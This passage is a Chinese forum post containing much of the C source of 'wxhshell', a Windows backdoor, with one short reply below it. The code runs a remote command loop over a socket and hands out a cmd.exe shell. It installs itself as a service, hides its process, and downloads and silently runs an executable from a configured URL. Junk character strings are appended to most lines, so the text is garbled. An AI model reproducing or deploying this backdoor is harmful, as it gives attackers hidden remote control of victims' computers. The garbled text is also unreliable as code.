  else |dQz(z&6{5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !-t w  
  } :+6W%B  
  else { A:ts_*  
=s!0EwDH3  
    switch(cmd[0]) { C jf<,x$  
  6HZtdRQF  
  // 帮助 FB wG3x  
  case '?': { ~qQZhu"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L9O;K$[s  
    break; |` ~ioF  
  } ^+Nd\tp  
  // 安装 \t)va:y  
  case 'i': { )YgntI@  
    if(Install()) +z nlf-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F oC $X  
    else |;NfH|43;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *-PjcF}Y  
    break; e4Nd  
    } ?|kbIZP(  
  // 卸载 @*|VWHR  
  case 'r': { g;=VuQuP|  
    if(Uninstall()) Hmr f\(x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3<8n;'y:  
    else 27N;>   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )qb'tZz/g_  
    break; a%.W9=h=M(  
    } 0e<>2AL   
  // 显示 wxhshell 所在路径 %d];h  
  case 'p': { ~2\Sn-`  
    char svExeFile[MAX_PATH]; 8<"g&+T  
    strcpy(svExeFile,"\n\r"); ZeuL*c \  
      strcat(svExeFile,ExeFile); joskKik^  
        send(wsh,svExeFile,strlen(svExeFile),0); W]/J]O6  
    break; ;*Vnwt A  
    } qdI%v#'M  
  // 重启 n[0u&m8  
  case 'b': { ;>mM9^Jaf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( jU $  
    if(Boot(REBOOT)) Ic4#Tk20i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Fx~_GT  
    else { hhaiH i!$  
    closesocket(wsh); ]?+i6 [6U  
    ExitThread(0); X PyDZk/m  
    } Qu[QcB{ro-  
    break; m[xl) /e  
    } ;+XrCy!.)L  
  // 关机 J@:Q(  
  case 'd': { B?i#m^S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'y; Kj  
    if(Boot(SHUTDOWN)) 9[zxq`qT}+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A0 Nx?  
    else { *gH]R*Q[Rt  
    closesocket(wsh); pDlrK&;\z  
    ExitThread(0); BL 1KM2]  
    } '>t&fzD0  
    break; OM0r*<D"!  
    } iV/I909*''  
  // 获取shell JD#q6 &|  
  case 's': { JrOx nxd^  
    CmdShell(wsh); "6\ 5eFN;  
    closesocket(wsh); z.8nYL5^}  
    ExitThread(0); WGn=3(4  
    break; $,@}%NlHc  
  } N-QS/*C.~  
  // 退出 Qpv#&nfUi6  
  case 'x': { BzS4:e<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fY9+m}$S$  
    CloseIt(wsh); 7ivo Q  
    break; J{b#X"i  
    } ]TT >3"Dw7  
  // 离开 fYjmG[4  
  case 'q': { g0j)k6<6(Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I9 zs  
    closesocket(wsh); N\*oL*[j  
    WSACleanup(); <b H *f w  
    exit(1); nC p/.]Y*  
    break; k!x|oC0  
        } $ 6mShp9(  
  } QUW`Yc  
  } boEQI=!j\+  
=F$?`q`  
  // 提示信息 pgES)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O8 .xt|  
} 7 2JwG7qh  
  } [tk x84M8  
f;^ +q-Q  
  return; x3cjyu<K  
} r%f Q$q>  
%]}JWXo f  
// shell模块句柄 : |s;2Y  
int CmdShell(SOCKET sock) C33Jzn's  
{ GP c B(  
STARTUPINFO si; `z'8"s  
ZeroMemory(&si,sizeof(si)); Ck )W=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zb=NcEPGy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J[:#(c&c!1  
PROCESS_INFORMATION ProcessInfo; ^(^P#EEG  
char cmdline[]="cmd"; 9Of;8R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d[9{&YnH !  
  return 0; ;/$pxD  
} ]]:K l  
`.J)Z=o  
// 自身启动模式 ,5 ka{Q`K  
int StartFromService(void) B1_9l3RM  
{ g ZtQtFi  
typedef struct Ob]\t/:%P  
{ b5)^g+8)w  
  DWORD ExitStatus; Q,5PscE6&k  
  DWORD PebBaseAddress;  _C5i\Y)  
  DWORD AffinityMask; \)/qCeiZ  
  DWORD BasePriority; e#Ao] gc  
  ULONG UniqueProcessId; 9< ?w9D.1  
  ULONG InheritedFromUniqueProcessId; <&b,%O  
}   PROCESS_BASIC_INFORMATION; G,!jP2S  
^slIR!L  
PROCNTQSIP NtQueryInformationProcess; LSc^3=X  
^WB[uFt-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,nYa+e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?I^$35  
h@R n)D  
  HANDLE             hProcess; 0]7jb_n1  
  PROCESS_BASIC_INFORMATION pbi; 6Sd:5eTEQ  
M,JwoKyg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }PK4 KRn  
  if(NULL == hInst ) return 0; K*j OrQf`  
o4p5`jOG@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hx0t!k(3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zgjgEhnvU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s U`#hL6;  
.5; JnJI  
  if (!NtQueryInformationProcess) return 0; 8J'5%$3u  
=? !FO'zt"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4ct-K)Ris  
  if(!hProcess) return 0; $V 3If  
L?nhm=D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \m|5Aqs  
vxPE=!|  
  CloseHandle(hProcess); ?VotIruR  
mh"PAp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LAc60^t1  
if(hProcess==NULL) return 0; u_WUJ_  
E|;>!MMA;  
HMODULE hMod; S*G^U1Sc+  
char procName[255]; ,|RKM  
unsigned long cbNeeded; i}8OaX3x  
(.N n|lY<i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 12#yHsk  
O:GPuVb\  
  CloseHandle(hProcess); n>u_>2Ikkj  
9<rs3 84  
if(strstr(procName,"services")) return 1; // 以服务启动 ]vf_4QW=  
OSO MFt  
  return 0; // 注册表启动 bJMsB|r  
} t }4  
b)IQa,enH  
// 主模块 #L!`n )J"  
int StartWxhshell(LPSTR lpCmdLine) Ec<33i]h*p  
{ r8YM#dF  
  SOCKET wsl; ;Lfn&2G  
BOOL val=TRUE; 392(N(  
  int port=0; UUz{Qm%  
  struct sockaddr_in door; ;V~x[J|x  
olQP>sa  
  if(wscfg.ws_autoins) Install(); W>!:K^8]  
dn'|~zf.  
port=atoi(lpCmdLine); Sm {Sq  
" l|`LjP5M  
if(port<=0) port=wscfg.ws_port; [H\0 '  
r[ k  
  WSADATA data; cPZ\iGy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F6 ~ ;f;  
/D9#v1b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0B 1nk!F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =,it`8;  
  door.sin_family = AF_INET; |(tl a_LE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "\Dqtr w  
  door.sin_port = htons(port); -,*m\Fe}  
a=ZVKb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {w3<dfJ  
closesocket(wsl); J;XO1}9  
return 1; kJB:=iq/x$  
} .7 j#F  
el$@^Wy&$  
  if(listen(wsl,2) == INVALID_SOCKET) { Z L0Vx6Ph  
closesocket(wsl); 38-kl,Vw  
return 1; O D5qPovsd  
} zK~_e\m  
  Wxhshell(wsl); !lg_zAV  
  WSACleanup(); 9+*{3 t  
Heqr1btK  
return 0; PSAEW.L  
.I|b9$V  
} vO?sHh  
Zt41fPQ  
// 以NT服务方式启动 /kr|}`# Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [H!do$[>  
{ @P0rNO %y  
DWORD   status = 0; 5/6Jq  
  DWORD   specificError = 0xfffffff; vt"bB  
bO$KV"*!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xH28\]F5n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <J~6Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XjzGtZ#6  
  serviceStatus.dwWin32ExitCode     = 0; g3'dkS!  
  serviceStatus.dwServiceSpecificExitCode = 0; F&p42!"  
  serviceStatus.dwCheckPoint       = 0; ?2o+x D2  
  serviceStatus.dwWaitHint       = 0; DJdhOLx  
Q& d;UVp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HqqMX`Rof  
  if (hServiceStatusHandle==0) return; ;xh.95BP`  
=_E$* }  
status = GetLastError(); 8@;R2]Q  
  if (status!=NO_ERROR) ]7,0>  
{ 0;1O;JRw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g}6M+QNj  
    serviceStatus.dwCheckPoint       = 0; |2TH[J_a  
    serviceStatus.dwWaitHint       = 0; j."V>p8u$  
    serviceStatus.dwWin32ExitCode     = status; &N7q 9t  
    serviceStatus.dwServiceSpecificExitCode = specificError; j-aTpN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $bpu  
    return; >G?*rg4  
  } Q+a&a]*KL^  
 7a_u=\,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SsMs#C8u%  
  serviceStatus.dwCheckPoint       = 0; R'F\9eyA  
  serviceStatus.dwWaitHint       = 0; -{A64gfFxT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xeja\5zB  
} e GAto  
3`3my=   
// 处理NT服务事件,比如:启动、停止 qMVuBv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LhF;A~L  
{ lM#/F\  
switch(fdwControl) X pK eN2=p  
{ X/%!p<}:'  
case SERVICE_CONTROL_STOP: 9^sz,auB  
  serviceStatus.dwWin32ExitCode = 0; /3Y"F"`M.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~_CZ1  
  serviceStatus.dwCheckPoint   = 0; HYdt3GtJ?  
  serviceStatus.dwWaitHint     = 0; ZBK)rmhMx  
  { ~.e~YI80  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RK&RMN8@  
  } LCIe1P2  
  return; USgO`l\}4  
case SERVICE_CONTROL_PAUSE: p+nB@fN/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ae0Mf0<#)  
  break; R-iWbLD  
case SERVICE_CONTROL_CONTINUE: Sd I>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jv29,46K  
  break; H2g#'SK@  
case SERVICE_CONTROL_INTERROGATE: {P?p*2J'  
  break; W>CG;x{  
}; !*qQ 7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|.>41bJ  
} 9O&MsTmg$  
_jCu=l_  
// 标准应用程序主函数 um". Z4S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T.{]t6t$U  
{ HD$ r<bl  
m=iKu(2xRq  
// 获取操作系统版本 g_Y$5ft`  
OsIsNt=GetOsVer(); Q 'e[(^8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1D"EF  
5 r<cna  
  // 从命令行安装 B.Z5+MgM  
  if(strpbrk(lpCmdLine,"iI")) Install(); 04X/(74  
~2Mcw`<  
  // 下载执行文件 0LHge7482  
if(wscfg.ws_downexe) { ygV-Fv>PQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S[/D._5QD%  
  WinExec(wscfg.ws_filenam,SW_HIDE); <c(%xh46  
} ]xV2= !J  
h!Fh@%  
if(!OsIsNt) { Rh@UxNy\,  
// 如果时win9x,隐藏进程并且设置为注册表启动 8"wavh|g4  
HideProc(); rUB67ok*  
StartWxhshell(lpCmdLine); l@<Jp *|  
} ;,KT+!H$  
else 4kNSF  
  if(StartFromService()) XS0NjZW  
  // 以服务方式启动 M}" KAa  
  StartServiceCtrlDispatcher(DispatchTable); )Y1+F,C  
else '<C#"2  
  // 普通方式启动 WH+S d  
  StartWxhshell(lpCmdLine); (H|^Ow5  
eg"!.ol  
return 0; Co<F<eXe  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八